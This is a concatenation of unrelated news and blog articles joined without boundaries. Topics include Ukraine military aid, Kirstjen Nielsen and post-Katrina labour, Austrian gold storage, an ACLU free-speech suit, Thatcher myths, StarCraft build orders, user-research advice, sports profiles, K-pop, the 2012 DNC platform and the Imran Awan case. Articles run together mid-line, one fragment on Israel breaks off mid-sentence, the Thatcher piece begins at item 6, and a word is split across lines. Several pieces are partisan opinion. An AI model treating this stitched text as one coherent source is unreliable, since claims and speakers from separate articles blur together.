Reed said he supported providing Ukrainian forces with lethal aid and outlined three steps to enable that.
One step that should be explored, he said, is taking Ukrainian forces outside the country and training them on the provided weapon systems, "so they're ready."
"Second is the possibility of transferring some of these systems from other countries into Ukraine, which doesn't raise quite the visibility of the transfer," he said.
"And then there's the possibility of taking some of our systems and beginning to... deploy them to training areas particularly so that they can train on them and have them ready to move into areas of conflict," he said.
"I hope that these are being thought about," he said.
He also said Ukraine has an extensive military industrial base that could be used to produce the weapons, but that would take time and financing.
But Reed also said that while lethal aid is still necessary, it is a little less urgent in light of a new development.
Russian-backed separatists in Ukraine are now fully under Russia's "command and control" — meaning that Russia could now control the levels of violence in eastern Ukraine and has recently been doing so, in accordance with a ceasefire agreement reached in Minsk.
Instead, Moscow is waging a sophisticated political and information warfare campaign to destabilize Ukraine, because it's less costly to their forces and gains less international criticism, Reed said.
Now, he said, "They're trying through a very clever information campaign to destabilize the government... and hope that their surrogates are able to gain power and control."
For example, he said the Minsk agreement calls for municipal elections in October, but separatists are planning their own elections a week ahead, which would degrade the central government's authority.
"That's something we have to be worried about, it's only about seven weeks out or so, and the European Community and the United States have to be prepared for it," he said.
But, Reed warned, the current lull in fighting "doesn't relieve us of the possibility" of providing lethal aid and that the Russians "could shift back."
The U.S. should continue training Ukraine's military forces and help the country take government and economic reforms.
Reed said Ukraine has already begun reforms of its police force, which was notorious for corruption. Eight hundred traffic police in Kiev have been fired and replaced. Forty percent of them are now women, he said.
"The next big step is economic reform and the anti-corruption efforts," he said.
Reed said Ukraine has to reform their state prosecutors and judges, who are "noticeably unenthusiastic about pursuing corruption."
"They understand they're in a race to build a new efficient, economy that's transparent versus the pressure they're receiving from the Russians and also popular pressure," he said.NEW ORLEANS, Louisiana — President Trump’s pick to lead the Department of Homeland Security (DHS), Kirstjen Nielsen, was at the center of a plan that allowed thousands of illegal aliens to come to the United States to take coveted American blue-collar jobs from hundreds of thousands of citizens who had lost their livelihood in the historic natural disaster.
In 2005, as President George W. Bush‘s special assistant for prevention, preparedness, and response, Nielsen was part of a team — known as the Homeland Security Council — inside the administration that aided in responding to Hurricane Katrina, including decisions to temporarily dismantle pro-American worker laws.
For instance, while Nielsen was a part of the Katrina response team in the Bush administration, Bush’s DHS suspended sanctions for employers who willingly hire illegal aliens. Additionally, Bush waved the 1931 Davis-Bacon Act, which mandated that federal contractors pay workers the average regional wage.
Bush’s easing of labor laws was followed by an aftermath effort that allowed an estimated 30,000 illegal aliens to not only flood the Gulf Coast after Katrina but also to take thousands of American blue-collar jobs that would have otherwise gone to impacted working-class Americans.
As documented by the Washington Times in 2006, Bush’s response to Katrina — which Nielsen was involved in — left disadvantaged Americans looking for work as their would-be construction jobs went to foreign workers who readily worked for less than minimum wage:
An Alabama employment agency that sent 70 laborers and construction workers to job sites in that state in the aftermath of Hurricane Katrina says the men were sent home after just two weeks on the job by employers who told them “the Mexicans had arrived” and were willing to work for less. Linda Swope, who operates Complete Employment Services Inc. in Mobile, Ala., told The Washington Times last week that the workers — whom she described as U.S. citizens, residents of Alabama and predominantly black — had been “urgently requested” by contractors hired to rebuild and clear devastated areas of the state, but were told to leave three job sites when the foreign workers showed up. “After Katrina, our company had 70 workers on the job the first day, but the companies decided they didn’t need them anymore because the Mexicans had arrived,” Mrs. Swope said. “I assure you it is not true that Americans don’t want to work. “We had been told that 270 jobs might be available, and we could have filled every one of them with men from this area, most of whom lost their jobs because of the hurricane,” she said. “When we told the guys they would not be needed, they actually cried … and we cried with them. This is a shame.”
The report revealed how illegal aliens and cheap, foreign workers not only crossed the U.S.-Mexico border to take American jobs following Bush’s waving of labor laws but also traveled to the Gulf Coast from California, Arizona, and Texas.
The Bush administration’s waving of the Davis-Bacon Act allowed thousands of foreign workers to work for companies who were contracted by the Federal Emergency Management Agency (FEMA).
Following Katrina, 1.5 million Americans were displaced by the storm, and the easing of labor laws by the Bush administration left many looking for work outside of the Gulf Coast since illegal aliens and foreign workers quickly dominated the paid clean-up effort.
A similar report in 2005 by the St. Petersburg Times depicted how New Orleans, specifically, was overrun by illegal alien workers following the Bush administration’s response.
R.J. Rouzan, for instance, shared his frustration with the government’s willingness to allow illegal aliens into New Orleans, despite homeowners not even being allowed to re-enter parts of the city.
“They let trucks full of illegal aliens in there and not the property owners?” Rouzan told a receptionist in New Orleans City Hall at the time, according to the St. Petersburg Times report. Even Mayor Ray Nagin seemed to agree with the frustration locals had with the Bush administration’s pro-open borders response.
In an address to business owners and contractors during a “Back to Business” forum this month at the Sheraton, Mayor Ray Nagin said he knew what group members were thinking: “How do I ensure that New Orleans is not overrun by Mexican workers?” They answered with applause. Rouzan wasn’t there. But he feels their frustration. Rouzan, a black owner of construction and trucking businesses, said his employees are scattered across several states. Without a place to stay, they can’t come back to work. Watching Hispanic workers take similar jobs, Rouzan seethes. “They are allowing people to come in who are getting jobs while we as homeowners who built this city, they don’t let us get access to our property,” Rouzan said.
The usual response that American workers would not do the grueling jobs after Katrina that illegal alien and foreign workers were willing to do was quickly debunked, as some business owners refused to hire illegal alien workers, choosing to hire needy locals instead.
Mike Dunbar was one of those business owners who disproved this notion, as the St. Petersburg Times documented:
“I’m not prejudiced,” he said. He worries if Hispanic workers settle into the area, black residents won’t have jobs when and if they return. So far he’s hired only nonimmigrant workers from Georgia and Texas because his former employees have not returned. “I think some people aren’t going to come back,” said Dunbar, 42. “I think housing is the No. 1 problem. When we came back, we didn’t have anywhere to live. That’s holding a lot of them from coming back. You can work, but you need some place to stay.” Those who can’t find a place to sleep are missing out on roofing jobs that can pay $25 an hour. Dunbar houses his 12 workers in rental apartments owned by his father. He stays there, too, while his wife and children are in Alabama.
Nielsen’s involvement in the Bush administration’s response effort potentially gives a glimpse into how she will manage immigration and American worker issues at the helm of DHS.
Likewise, the praise Nielsen has received from former Bush officials reveals her alliance with pro-amnesty establishment-types and cheap, foreign labor advocates.
Most notably, one of Nielsen’s closest allies, former Bush official Frances Townsend — who was also involved in the Katrina response effort under Bush — immediately backed Trump’s announcement that he would appoint Nielsen to head DHS.
“She is tough as nails, competent, and has rightly earned the president’s respect,” Townsend said, as Breitbart News reported.
Townsend, in 2013, welcomed the failed effort to give amnesty to millions of illegal aliens — known as the “Gang of Eight” amnesty bill — saying the open borders plan was in-line with the Bush administration’s goals on immigration.
“This is a redux of the Bush effort and the underlying principles,” Townsend told the Daily Beast at the time.
Townsend, in 2016, went as far as to openly oppose Trump’s “America First” agenda, signing on to a letter with 94 other Washington, D.C. establishment figures and former Bush administration officials that claimed he was “so utterly unfitted to the office.”
Nielsen’s nomination to run DHS by Trump has angered the core of his supporters: Pro-American immigration reformers who want to see an end to illegal immigration and a reduction of overall legal immigration to aid U.S. workers.
As Breitbart News reported, NumbersUSA spokeswoman Rosemary Jenks slammed Trump’s decision to pick Nielsen for the DHS job, saying “There was virtually no one in the Bush admin that was good on immigration.”
“The last thing we need at DHS is a Bush Republican,” Jenks told Breitbart News. “We elected Trump. We did not elect a Bush. We specifically rejected the Bush dynasty. We don’t need a Bush Republican at DHS.”And just like that, the list of countries who want to repatriate their gold just increased by one more, because after Venezuela, Germany, the Netherlands, sorry Switzerland, and rumors of Belgium, we now can add Austria to those nations for whom the "6000 year old barbarous relic bubble" is more than just "tradition."
From Bloomberg:
Austrian central bank reviewing gold storage concept, doesn’t rule out relocating some of its gold from London to Austria: Standard cites unidentified central ank officials. Austria has 280 tons gold reserves, according to 2013 annual report. Austrian Audit Court Will Review Nation’s Gold Reserves in U.K.
The Austrian state audit court says central bank should address concentration risk of storing 80% of its gold reserves with the Bank of England, Standard reports, citing draft audit report. Court advises central bank to diversify storage locations, contract partners.
And from derStandard.at (google translated):
The gold reserves of the Oesterreichische Nationalbank (OeNB) and their deposits in the UK and in Switzerland are a recurring theme in political discussions. Especially like the Freedom require relocation to Austria, the example of the Deutsche Bundesbank in mind, who want to move their gold by 2020 half of them to Germany.
In Austria, the Court has adopted in its recent OeNB examination of the issue of gold. In its draft report he gives the OeNB diverse recommendations on the way. One of the key points: Given the "high concentration risk in the Bank of England" advise the examiner to "rapid evaluation of all possibilities of a better dispersion of the storage locations". Not only the parties to be diversified, but it should also come to the "actual spread of the storage locations".
Gold relocation possible
In the central bank can not hold, such a transfer excluded. The existing gold bearing concept would be reviewed, at best you'll bring parts of the stored gold in the UK to Austria, OeNB experts explain the standard. Any changes will be decided according to security and economic criteria, according to the OeNB.
A brief orientation in gold Milieu: Austria has 280 tons of gold, only a small part of them (17 percent) are kept in Vienna. 80 percent of the reserves are located in London, the main trading for gold, three percent in Switzerland. For comparison, the German Bundesbank has 3400 tons of gold; about half of them superimposed (as of 2013) in the United States. With the decision by the end of 2012, to resettle half of the gold to Germany, gave the Bundesbank political pressure.
Examiners want Strategy
Because you do not think in the OeNB; the central bank decide "autonomously", as emphasized. But there was indeed a discussion of the gold storage, you will receive and evaluate the recommendations of the Court. But whose final report is not yet available, the OeNB has transmitted to the auditors on 28 November their comments on the draft report.
The examiners also recommend an analysis of the costs of the bearings and a "comprehensive strategy for the management of gold reserves" to. The OeNB said: "opportunities to develop a long-term approach bearings will be evaluated." The criticism of the auditor, the OeNB have the gold that is not stored in the National Bank itself, not regular "physically checked" 2009-2013 or not, has the OeNB in??its opinion violently back.
In October 2011, had central bankers, as mentioned in the report body, held in three deposits in Switzerland and one in London "Einschau". 2012 were examined in the coin Austria gold holdings. Keyword Einschau: This should not be so easy. Anyway criticize the auditor that access opportunities are not agreed with all bearings contract.
Violent criticizes the Court of Auditors on the audit of the gold holdings abroad: Since lacked a concept of what constitutes a gap in the internal control system. The OeNB denies it, which was founded in 2013 department of "values??Revision" fulfills that function already.Acknowledging that speech may sometimes provoke and offend, the San Diego ACLU filed a lawsuit today against UCSD administrators to enforce core First Amendment rules against targeting the press or taking action based on the viewpoint of speech.
The Koala publishes a satirical newspaper that routinely provokes outrage and offense. In response to a Koala article mocking “trigger warnings” and “safe spaces,” UCSD’s student government eliminated all funding for student media.
However, the student government continues to fund other speech on numerous topics, including Acts 2 Fellowship (“foster community and Christian values”), Students Against Mass Incarceration, and the College Democrats of UCSD (“Presidential Primaries Update”), among many others.
The student government violated the First Amendment in two ways. First, it targeted the student press by stripping it of revenue that remains available to support other student speech. Second, it retaliated against the editorial viewpoint of The Koala, an action that is not immunized by inflicting collateral damage on all student media.
“However offensive and outrageous The Koala may be, its authors are writing about topical issues of public concern, and it is classic protected speech,” said David Loy, legal director of the ACLU of San Diego & Imperial Counties. “No matter how offended I may be, it is still much worse to give government the power to decide what speech to censor. Once granted, that power will inevitably stifle protest and dissent.”
University officials had the right to speak out against The Koala by releasing a statement denouncing the publication. “The Koala is profoundly repugnant, repulsive, attacking and cruel,” the statement read in part. But the student government, endorsed if not encouraged by administrators, crossed the First Amendment line by deleting all funding for the publication of student print media.
With the withdrawal of student media funding, The Koala has been hindered in its ability to publish, preventing it from publishing three of its six planned issues this academic year. The UCSD administration has also refused to allow The Koala to participate in Crowdsurf, UCSD’s crowd-funding platform for student and campus projects.
The ACLU sympathizes with students who are concerned about the reactions to The Koala’s content, especially by those who have suffered violence, racism, sexual abuse, or other traumas. We find this content disturbing too. But the First Amendment protects “outrageous and outlandish” speech that is often contained in publications such as The Koala, however vulgar and offensive they may be.
“Trauma is real,” said Loy, “but censorship is not the cure, because it inevitably blows back on those it purports to protect.”
The lawsuit calls for a preliminary and permanent injunction to prohibit UCSD and any of its agents from categorically refusing to provide campus activity fee funding for publication of student media or from otherwise preventing The Koala from exercising its First Amendment rights to freedom of press and speech. It also asks that the university’s actions be declared unlawful.
“As always, the best antidote to offensive speech is more speech,” said Ryan T. Darby, co-counsel with the San Diego ACLU. “The Supreme Court could not be clearer about how fundamentally important free speech is to a functioning democracy. It has ruled many times over that government may not prohibit expression of an idea because society finds it offensive.”
# # #
Read a blog by our legal director, David Loy.The horrifying images of the gas attack in Idlib on April 4 shocked many in Israel and led to a wide range of responses in the country, including a call for an emergency Cabinet session by Minister Naftali Bennett.
The Israel Defense Forces' ( |
1976 closed 290 pits to Thatcher’s 160. In 1967 alone there were 12,900 forced redundancies.
Between 1957 and 1963, 264 pits also closed.
Source: BBC Closure of the pits
6) “There is no such thing as society”
Read the full quote and it is clear Thatcher meant the reverse. Here is the full quote from an interview given to Women’s Own in 1987:
“I think we have gone through a period when too many children and people have been given to understand ‘I have a problem, it is the Government’s job to cope with it!’ or ‘I have a problem, I will go and get a grant to cope with it!’ ‘I am homeless, the Government must house me!’ and so they are casting their problems on society and who is society? There is no such thing!
“There are individual men and women and there are families and no government can do anything except through people and people look to themselves first… There is no such thing as society. There is living tapestry of men and women and people and the beauty of that tapestry and the quality of our lives will depend upon how much each of us is prepared to take responsibility for ourselves and each of us prepared to turn round and help by our own efforts those who are unfortunate.”
7) She chose inflation over jobs
The Philips Curve plots unemployment against inflation. It illustrates the trade-off: as one falls the other rises, and vice versa. In healthy economies the curve is tight to the X and Y axes meaning both are low. In dysfunctional economies the trade-off exists, but both are high. Thatcher’s goal was to reduce inflation at the expense of unemployment, so that part is true. But her goal was to dr
ag the UK’s Philips Curve back towards the X and Y axis. In plain English: she pursued low long-term unemployment and inflation at the cost of short-term unemployment. A more complicated trade-off than is commonly appreciated.
BONUS MYTH: She called Nelson Mandela a “terrorist”
One more myth: that Thatcher dismissed Nelson Mandela as a “terrorist”. We can find no evidence of this. What is usually quoted is her statement in 1987 when she described the ANC as a “terrorist organisation”.
David Cameron has described her statement as a “mistake”. But the context is interesting. It came in the aftermath of a speech in 1986 when Winnie Mandela endorsed the “necklacing” of political opponents. For the uninitiated, necklacing is the placing of a burning tyre over the head of the victim, to kill. She said: “with our boxes of matches and our necklaces we shall liberate this country.”
The “football team” which formed her bodyguard were notoriously violent.
The struggle for freedom was not entirely peaceful. At the end of the Eighties more than 5,000 were killed in skirmishes between the ANC and the rival Inkatha Freedom Party.;
Regarding apartheid, here’s what Mangosuthu Buthelezi, the former Inkatha Freedom Party, had this to say:
“She was a voice of reason during apartheid and listened attentively to my plea against sanctions and economic disinvestment, which we both recognised would hurt the poorest of our people the most.”
“I was privileged to visit [Baroness] Thatcher at 10 Downing Street in 1986, and was honoured when she specifically travelled to Ulundi to visit me as the chief minister of the erstwhile KwaZulu government.” He said never before had an international dignitary shown such respect for black leadership.
DEADLINE FRIDAY – ENTER NOW: The most important business awards for London & the South East, judged by Karren Brady, Willie Walsh, Kelly Hoppen, Luke Johnson, Michelle Mone & 15 other business greatsThis is the April 2017 entry of Metagame Build Orders.
Vs. Protoss
Command Centre first into three Barracks has become popular recently. Terran have problem doing damage in the early to mid game due to the popularity of Phoenix Adept, so it makes sense to go for a more economic build instead.
14 – Supply Depot
17 – Command Centre (@100% – Orbital Command)
18 – Barracks (@100% – Orbital Command)
20 – Barracks
21 – Barracks
Constant Marine production
25 – 2x Refinery
32 – Supply Depot and Tech Lab
build Supply Depot accordingly hereafter
@125 mineral – Engineering Bay
@100% Tech Lab – Stim
This is the basic core of this build, and the variation comes down to the sequence of buildings in terms of gas investment. There are three things to invest the gas on,
Factory
+1 Infantry attack
2x Barracks add-on
The classic variation is to put down the Factory first, and it techs up to Starport with Reactor for Medivac. This lines up with the Stim upgrade for a move out. However, given Terran are generally being placed on the defensive role in the match up for that time frame, it is arguably better to invest in the other two first. In my opinion, the best sequence now is, +1 upgrade, Factory, then 2x Barracks add-on. Continue from above notation,
@100 gas – +1 Infantry attack
@100 gas – Factory, and Refinery
@75 gas – Tech Lab and Reactor on two Barracks
@100% Factory – Starport, and Reactor on Factory (@100% – Swap Starport onto Reactor for 2x Medivac
There is much room for changes after your Engineering Bay is done, as it is normal to build Missile Turret for defensive measure nowadays. The key is the timing of the third Refinery, and it should only be taken when you decide to tech up to Factory and transition to mid game. This also means you have already spend the resources on the necessary defensive structure accordingly.
Also, it is quite common for Protoss to go for one base Stargate now, and you can take just one Refinery at 25 supply instead of two in order to have the mineral for an earlier Engineering Bay. The Missile Turrets should have a higher priority than the second Refinery (see GuMiho vs. Dear below).
Vs. Terran
The Terran match up did not change much. I will show a standard 15/16 Reaper expand build, but it does not make a Cyclone immediately. I have previously explained that 15/16 Reaper expand with Cyclone delays the Starport, so the upside of this build is to have the Starport back to the normal timing.
14 – Supply Depot
15 – Refinery
16 – Barracks
@100% Barracks – Reaper and Orbital Command
@400 mineral – Command Centre (@100% – Orbital Command)
@100 gas – Factory
@100% Reaper – Reactor (@100% – Marine production)
@75 mineral – Refinery
@100 mineral – Supply Depot
@100% Factory – Hellion, and Starport
@100% Hellion – Cyclone
@100% Starport – Medivac
This allows you to hit a timing with six Marines, one Hellion, one Cyclone, and one Medivac. See how ByuN used the build in above vod.
The basic structure can also adapted for other non-timing build, for example, you can get a Raven. See INnoVation’s build in vod below.
Vs. Zerg
I will show the most standard build in the current metagame below.
14 – Supply Depot
15 – Refinery
16 – Barracks
@100% Barracks – Reaper and Orbital Command
@400 mineral – Command Centre (@100% – Orbital Command)
@100 gas – Factory
@100% Reaper – Reactor
@75 mineral – Refinery
@100 mineral – Supply Depot
@100% Factory – Starport. Swap the Factory onto the Reactor for 2x Hellions. Build a Tech Lab with Barracks next to the Starport
Constant Hellion production until you have made six.
@100% Starport – Swap Starport on Tech Lab for a Raven, and a Supply Depot.
Build Supply Depot accordingly hereafter.
@100 gas – Cloak upgrade
@25 gas – Tech Lab on Barracks (@100% – Stim)
@100% Raven – Banshee (@100% – Banshee)
You then transition into a standard macro game with a third Command Centre and more Barracks. The Raven is actually quite a good choice, as it gives good harassment potential with little risk and micro attention. The Auto Turrets force the Drones to be pulled, while you move the Raven to safe air space. If Zerg did not react in time, you get to kill a few Drones. It is very apm efficient for harassment. The Hellion and Banshee at the front do the standard map control task, and you can have the option to move the Raven back to join the main army when you move out with the bio with Stim and Medivac for the first time. This should save you scan to clear the creep.
If you enjoyed this article, I’d love you to share it with one friend. You can follow me on Twitter and Facebook. If you really like my work, you can help to sustain the site by contributing via PayPal and Patreon. See you in the next article!A comparative look at the role-playing game industry on both Western and Japanese shores yields a strong dichotomy: one of consistent innovation, and one of arguable stagnation. At least, that is the belief that Bioware co-founder/director Greg Zeschuk recently expanded upon in an interview with video game website Destructoid.
“The fall of the JRPG in large part is due to a lack of evolution, a lack of progression. They kept delivering the same thing over and over. They make the dressing better, they look prettier, but it’s still the same experience.” He added, “My favorite thing, it’s funny when you still see it, but the joke of some of the dialogue systems where it asks, ‘do you wanna do this or this,’ and you say no. ‘Do you wanna do this or this?’ No. ‘Do you wanna do this or this?’ No. Lemme think — you want me to say ‘yes.’ And that, unfortunately, really characterized the JRPG.”
“We have big debates on whether GTA is an RPG, for example,” said Zeschuk. “It’s got all the elements, it just doesn’t have the numbers. And what gamers here want is that higher depth, that higher integration of features…Mass Effect 2 is in some ways a continuation of that evolution.”
Do you agree with Dr. Zeschuk? Or is there more innovation in JRPGs than many realize? Comment below with your thoughts!What fuels great design (and why most startups don’t do it)
Braden Kowitz Blocked Unblock Follow Following May 8, 2014
“How can my company become great at design?” Founders ask me this question more than any other. They’re often considering hiring a hotshot designer or expensive design agency. And while those might help, neither will bake design deep into how the company operates. Founders need a way to make great design become automatic, and there’s only one way I’ve found to do that reliably: invest time in listening to your customers.
I’m glad that the startup community has been focusing on design lately. Design is a powerful and often overlooked way to solve problems. But without the right fuel, design is worthless. When designers don’t know which problems to solve, we spin our wheels. We make products prettier when we could be solving customer’s needs and generating real value. So any company that’s serious about design should get equally serious about listening to customers.
You’ve probably heard this advice a hundred times before. Whether you call it “user research” or “customer development” or just “getting out of the building”, we all know that hearing directly from customers is one of the fastest ways to learn and improve our products. But when I ask founders how long it’s been since they’ve watched a real customer (not a family member) use their product, they usually look embarrassed and admit they haven’t tested anything in months.
It’s so much fun to make things that it’s often hard to stop and listen. I’ll admit it — even though I know user research is valuable, I’ve argued against it on many projects. I’ve made one excuse after another to avoid talking with customers, because I’d much rather be building. Luckily, I work with talented and stubborn people who have proven me wrong over and over again. So here are some of the dumb excuses I’ve made, and how I coach myself out of making the same mistakes again.
Excuse: Customers don’t know what they want.
I’m sure you’ve heard the famous Ford quote, “If I had asked people what they wanted, they would have said faster horses.” So what? No one expects customers to design the product for you. That’d be way too easy! But customers can absolutely tell you their goals and frustrations. Customers can show you what they like or dislike about products and you can watch when they get stuck or confused. So if customers say they want faster horses, what you should hear is that getting around is too slow. It’s the team’s job to take all that raw input and build products to delight customers.
Reality: Customers know a lot — if you just know how to ask.
Startups need to stop pitching and start listening. By being thoughtful you can guide conversations with customers and learn much more. Write a script to structure the interview and avoid asking questions that customers can’t answer very well. Humans are remarkably bad at explaining why they did something in the past and even worse at predicting what they’ll do in the future. So skip over all that and get your customers to show you what they do today, what problems they have right now, and watch where products (including yours) are failing them. I guarantee you’ll learn a lot.
Oh, and there’s no record that Ford even said that silly quote anyway.
Excuse: We don’t have enough time for user research.
If your goal is to launch something as fast as possible, user research will absolutely slow you down. But if you want to create great products, research will speed you up. Teams often avoid user research because they believe getting a product into the market is the fastest way to learn.
But launching doesn’t guarantee you’ll learn anything about what your customers need. Sure, you’ll know how many customers are using your product. But you won’t know why they’re using it, what could make them use it more, and how to convince more people to try your product. If you don’t know the deeper reasons for customer behavior, it becomes very hard to know what to do next.
Reality: User research makes you faster.
It feels great to launch fast. But launching also makes future changes much harder. So if you can invest a little energy to learn early, and then fix problems before launch, it ends up saving you a tremendous amount of time later. It also reduces the risk that you’ll launch something truly bad and get stuck backpedaling for weeks.
So replace the startup dogma of “launch early and often” with “learn early and often”. For me, it opened my mind to all the different kinds of ways startups can learn, and how valuable user research can be to the core mission of any startup.
Excuse: We can’t hire a user researcher right now.
None of the early stage startups I’ve worked with over the past four years have had a user researcher on staff. But that didn’t stop us, because almost anyone can interview customers and gather data that will improve your product. It just takes the right personality, a little training, and some practice.
Reality: Your team can learn user research.
Startups are full of amazing, talented people. So find teammates who already work closely with customers, and help them learn user research. Sales teammates can listen more and lead the conversation less. Support teammates can stop trying to solve customer problems and start finding more of them!
The last person I taught how to run a user study was a software engineer. He was nervous at first, but after a day of talking with customers, he told me it was the best day he’d had in months. The interviews helped him see the product through customers’ eyes, and that unlocked a creative streak full of new feature ideas.
So find someone in your team and ask them to read up on user research. Then, get some coaching. Even though it’s easy to learn, there’s no replacement for years of experience designing and running user studies. I enjoy coaching the startups I work with. And founders often find it helpful to hire an advisor to keep them on the right track.
Excuse: It’s not done yet. We’ll test it later.
I’ve used this excuse a lot. I want my work to be perfect, and I hate showing a design that’s half-done. But over time I’ve realized that if I work too long in isolation, I’ll spent a lot of time on the details when the idea really needs fundamental changes. In short: I’ve wasted time polishing a turd. And teams tend to do the exact same thing: they fall in love with a solution and waste time hashing out the details before validating that the idea is any good.
Reality: You need feedback more than you think.
The best way avoid turd-polishing is to inject feedback into your process, whether you’re ready or not. That’s why I like to schedule user studies with customers a week before we’ve even figured out the design. Yes, it’s terrifying! But the beauty of these deadlines is that they keep you completely focused on the next chance to learn, and focused on only making the things that are absolutely necessary to extract that learning.
In my experience, startups don’t need to build much to get good feedback from customers. I’ve relied heavily on very simple prototypes built as clickable mockups in Keynote or Powerpoint. And if your startup doesn’t have a prototype to test, you can always use your competitor’s products as free prototypes. So use deadlines to your advantage. Find some target customers, and schedule your first user study before you think you’re ready.
Let’s stop making excuses
Investing in user research is just about the only way to consistently generate a rich stream of data about customer needs and behaviors. As a designer, I can’t live without it. And as data about customers flows through your team, it informs product managers, engineers, and just about everyone else. It forms the foundation of intuitive designs, indispensable products, and successful companies. So what are you waiting for? Go listen to your customers!Former Arkansas linebacker Braylon Mitchell will formally announce his retirement from football on Friday. Mitchell played four years at Arkansas finishing with 111 tackles, 4.5 tackles for loss, two sacks, three pass breakups and one forced fumble. He had a career high 12 tackles against Auburn in 2013. His best season was in 2013 when he tied for second on the team in tackles with 77.
Mitchell was undrafted in the 2015 NFL Draft, but signed as a free agent with the Oakland Raiders. Mitchell said today he's ready to hang up the cleats and begin the next chapter in his life.
Mitchell chose Arkansas coming out of Heber Springs (Ark.) High School in 2010. He redshirted his first season at Arkansas and then lettered the next four seasons. At Heber Springs while playing for Coach Steve Janski, Mitchell was named all-state in both 2008 and 2009.
As a senior in high school, Mitchell carried the ball 225 times for1,691 yards and 26 touchdowns. He also had one reception for 32 yards and five two-point conversions. On defense as a senior, he had 91 tackles, three tackles for loss, two sacks, 11 quarterback hurries, three forced fumbles, one recovered fumble and one blocked punt that he returned for a touchdown. That followed a junior season that saw him rush for 1,876 yards and 24 touchdowns while collecting 110 tackles on defense.
He chose the Hogs over Arkansas State, Ole Miss and others.It has been another season of upheaval, impressive steps forward, surprising steps back and turbulence at Liverpool. "Difficult," is how Lucas Leiva describes his sixth campaign in English football. Yet it is one he feels is ending too soon.
The complexion of Brendan Rodgers' debut season as manager can alter with victory in the Merseyside derby at Anfield that would maintain Liverpool's hopes of overtaking Everton in the run-in. Defeat would ensure a second successive season behind their local rivals for the first time since Liverpool returned to the top flight in 1962.
The contest counts within the city, for pride, but fleeting success and parochial disputes are not what the Brazilian midfielder signed up for when he committed to a long-term contract with Liverpool recently. "We know how important it is in the city and to the fans to see Liverpool finishing above Everton," Lucas says. "That's the way it is, and we hope to achieve that. It would mean we are one position higher in the table but really we want more than that.
"The new contract will cover the best years of my career and I am glad they will be at Liverpool because I have worked hard to establish myself here. I really believe the club will be back to where it belongs soon, fighting for titles and Champions League qualification, and we can do it no matter how difficult it has been this season. If I didn't have that belief I may not have signed. This club has given me everything as a player and a person. I want to repay that and help take the club back."
Such optimism appears out of place with Liverpool seventh in the Premier League and still reeling from Luis Suárez's 10-match ban for biting Branislav Ivanovic. Then again, as their response to that traumatic week showed, with an outstanding team display to dismantle Newcastle United 6-0 without their leading goalscorer, Liverpool have been impossible to categorise under Rodgers. For better and for worse.
Lucas offers valuable perspective at Liverpool. He is spending a spare afternoon at the Bill Shankly Suite in his capacity as a trustee of Liverpool FC Foundation, the club's official charity that runs a men's health course in a city where the average male mortality age is 67. The national average is 81. Also present is Steve Blackall, one beneficiary of the course who was unable to leave home for six months due to post-traumatic stress disorder. Lucas looks on in admiration as Blackall faces a group of roughly 20 men and performs a stand-up comedy routine.
Unofficially, the Brazil international is also head of Liverpool's South American social contingent. He was instrumental in the January transfer of Philippe Coutinho from Internazionale and his compatriot's swift adaptation to the Premier League. "I thought it was my responsibility to help Luis, Sebastián [Coates] and Philippe feel comfortable when they arrived," he says. "That makes it easier for them to perform on the pitch, so everybody benefits."
That outlook was illustrated brilliantly at Newcastle, where Coutinho flourished at the head of a well-balanced midfield, but has assumed greater significance since Suárez's ban.
"I have been with Luis almost every day since what happened," said Lucas earlier this week. "He's OK now. He will try to come back as a better footballer if possible and a better person, too. I haven't discussed his future with him. We don't talk about it as that's his private business. I can't tell what he has in mind but he has a contract and I think every player here is looking forward to next season."
As for this campaign, the 26-year-old concedes another managerial change last summer brought inevitable consequences. "It has been a difficult season, if I'm being honest," Lucas says. "It wasn't just the manager who changed. There were a lot of changes to the playing staff as well, in and out, and that doesn't help the team. You need to know each other well and if you look at the teams that fight for the title and the top positions they have a really strong spine that has been together for a long time.
"That is what Brendan is trying to build here, a team that is going to be really good in the future. He's a manager who all the players look at and think is the right man for the job, not only now but for the future. The second half of the season has been a lot more positive because we know how Brendan wants us to play. We want to finish strongly and take that into next season."
The campaign is drawing to a close at the wrong time on a personal level too, with Lucas still working his way back from the cruciate ligament injury that cost him seven months of his career and the three-month absence with a torn thigh muscle that quickly followed.
"Personally I'm only halfway through a season given how much time I missed with injury," he says. "Having two injuries so close to each other stopped me improving at a time when I was feeling really good and playing well. My target for this season was just to get playing again regularly. The performances will improve as my fitness improves and my confidence improves. Two big injuries in a short space of time does affect your confidence. Next season I think is going to be perfect for me because I will be 100%."As their comeback date is around the corner, TEEN TOP released the album medley for their upcoming min-album Natural Born as well as the track list on June 19th.
The track list revealed that Natural Born will include six tracks: “Hot Like Fire,” “ah-ah,” “5 Seasons,” “Please,” “I Love It,” and “Confusing.” In addition, the album medley revealed short previews of the six tracks where it focused on showcasing the different and unique tracks from their mini-album.
Prior to releasing the track list and album medley, the six-member group released the music video teaser for “ah-ah,” which gave fans a preview of their choreography as well as the track.
Meanwhile, TEEN TOP is scheduled to release their mini-album on June 22nd along with the music video for “ah-ah.”By Jessica Yellin, CNN Chief White House Correspondent
Washington (CNN) – Democrats voted to update their party's platform Wednesday evening at their convention to include a reference to Jerusalem being the capital of Israel, as well as the insertion of the word "God," neither of which was included in their platform this year but was in previous platforms.
The change, proposed by Ohio Gov. Ted Strickland immediately after the convention was gaveled into order on Wednesday, required a two-thirds voice vote, but was declared as adopted after three voice votes which brought delegates to their feet, shouting their yeas and nays. Democratic sources told CNN prior to the vote that it was to take place by acclamation.
"I am here to attest and affirm that our faith and belief in God is central to the American story and informs the values we've expressed in our party's platform,"Strickland, who chaired the party's platform committee, read. "In addition, President Obama recognizes Jerusalem as the capital of Israel and our party's platform should as well. "A Pakistani-born House IT administrator suspected of misusing access to congressional files is a charming, dishonest manipulator with an unquenchable thirst for money, a dozen people who know him personally said in interviews with The Daily Caller News Foundation’s Investigative Group.
Relatives said that Imran Awan had such a penchant for taking advantage of people that his stepmother called the police and accused him of extortion, while his father changed his last name so he wouldn’t share it with his son.
WATCH:
Awan had full access to the emails and files of dozens of members of Congress, and is the target of a Capitol Police criminal investigation into, as Politico described it, “committing serious, potentially illegal, violations on the House IT network.”
However, members of Congress have not treated the situation as a potential security breach, instead saying that they trust Imran and do not think he would sell their data or use it for nefarious purposes like blackmail.
Among almost every person interviewed by TheDCNF, those who know him — including close relatives — described Imran as a savvy person and a calculating tactician who had tried to scam them.
In one example of that, he filmed a bizarre video — viewable below — of his father signing a financial document that he correctly anticipated would become subject of fraud allegations. He flaunted his supposed power in government, many said.
